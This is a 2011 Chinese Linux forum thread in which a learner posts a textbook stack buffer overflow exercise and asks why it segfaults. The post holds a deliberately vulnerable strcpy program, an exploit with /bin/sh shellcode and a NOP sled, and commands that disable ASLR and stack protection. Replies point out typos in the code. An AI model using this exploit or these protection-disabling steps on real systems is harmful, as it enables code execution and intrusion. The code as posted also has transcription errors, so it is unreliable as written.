Buffer Overflow 產生的Segmentation Fault - Linux

Thomas avatar
By Thomas
at 2011-05-26T22:00

Table of Contents


大家好,
小弟菜鳥正在學習緩衝(buffer)溢位(overflow)攻擊,依據書上的code想看看實
際運作情況…我知道Ubuntu至少有二種防止Buffer Overflow 的方式,所以我用了如下的
方式:

Step 0: 關閉 random memory address scheme


#echo 0 > /proc/sys/kernel/randomize_va_space
Step 1: compile 目標程式 “vuln.c”

$gcc -fno-stack-protector -o vuln vuln.c

Source code of vuln.c:
#include <stdlib.h>
#include <string.h>
int main(int argc,char *argv[])
{

char buffer[500];

strcpy(buffer,argv[1]);

return 0;
}
Step 2:compile 破解程式,”exploit.c”
$gcc –o exploit exploit.c

Source code of exploit.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
charshellcode[]="\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"

"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"

"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"

"\x68";
unsigned long sp(void){ asm("movl%esp, %eax");}
int main(int argc, char *argv[])
{

int i,offset;

unsigned int esp, ret, *addr_ptr;

char *buffer, *ptr;

offset=0;

esp=sp();

ret=esp-offset;

printf("Stack pointer (ESP: 0x%x\n",esp);

printf("Offset from ESP: 0x%x\n",offset);

printf("Desired Return Address : 0x%x\n",ret);


buffer=malloc(600);

ptr=buffer;

addr_ptr=(unsigned int *)ptr;

for(i=0;i<600;i+=4)

{

*(addr_ptr++)=ret;

}


for(i=0;i<200;i++)

{

buffer[i]='\x90';

}

ptr=buffer+200;

for(i=0;i<strlen(shellcode);i++)

{

*(ptr++)=shellcode[i];

}

buffer[600-1]=0;


execl("./vuln","vuln",buffer,(char *)NULL);

free(buffer);


return 0;
}

Step 3. 運行 ./exploit 但是不斷的出現Segmentation Fault的錯誤訊息,請高手提點

一下我哪邊弄錯了…我gdb debug的結果是segmentation fault的signal是從strcpy()中

出來的,然後就沒辦法更進一步去研究了。。。我在想是不是有辦法看他buffer內的記憶

體位置,然後看看記憶體的內容…這樣… 謝謝 !

--
Tags: Linux

All Comments

Andy avatar
By Andy
at 2011-05-28T10:36
buffer='\x90'; 似乎有問題.是不是應是 buffer[i]='\x90';
Eartha avatar
By Eartha
at 2011-05-28T18:38
*(ptr++)=shellcode; 是否應為 *(ptr++)=shellcode[i];
Ivy avatar
By Ivy
at 2011-05-31T06:13
先看看是否為source有誤,因為照你po的source應該是有錯
Barb Cronin avatar
By Barb Cronin
at 2011-06-01T12:00
用 gdb 追

ubuntu 的 make 不能用

Iris avatar
By Iris
at 2011-05-26T21:40
我的是 Ubuntu 10.10 我下載了一個 tar.gz的檔案 並且以 tar -zxvf 解壓縮好了 也確認資料夾中有 INSTALL Makefile 等等的檔案 但是每當我輸入 make 就會出現 make: *** No targets specified and no makefil ...

關於用寫shell script執行wget去抓檔案

Jacob avatar
By Jacob
at 2011-05-26T21:22
超級感謝的~ 我稍微修改了一點點 把兩個for loop的邊界值 調整了一下 i的for loop改成1..73 j的for loop改成 0..99 這樣就有符合 我要抓檔的需求了 超級感謝你的~~ 我正在努力的搞懂 你寫的架構 謝謝你~ ※ 引述《windincloud (駭客先生不要來~~)》之銘言 ...

Linux Mint 11 “Katya” released!

Ida avatar
By Ida
at 2011-05-26T21:16
Linux Mint 11 Has Been Released http://blog.linuxmint.com/?p=1760 [載點] 台灣元智: http://ftp.oss.tw/pub/Mint/LinuxMint-ISO/stable/11/ -- Sent from Ubuntu - ...

關於用寫shell script執行wget去抓檔案

Robert avatar
By Robert
at 2011-05-26T20:49
#!/bin/bash for i in {0..73} do if [ ${i} -lt 10 ]; then dir=0${i}0 else dir=${i}0 fi mkdir ...

Fedora 15的桌面使用疑問

Audriana avatar
By Audriana
at 2011-05-26T20:31
※ 引述《twkraito (Raito)》之銘言: : GNOME3關於滑鼠移到左上角後左邊的喜好列 : 為什麼我桌機可以自由排列捷徑上下的順序 : 可是我裝在筆電上的喜好列 : 滑鼠左鍵點著時卻只會把圖案拉著 : 然後不管怎麼移動都無法改變順序 又一放開就把程式打開了 : 請問我是少設定了什麼東西呢? 因 ...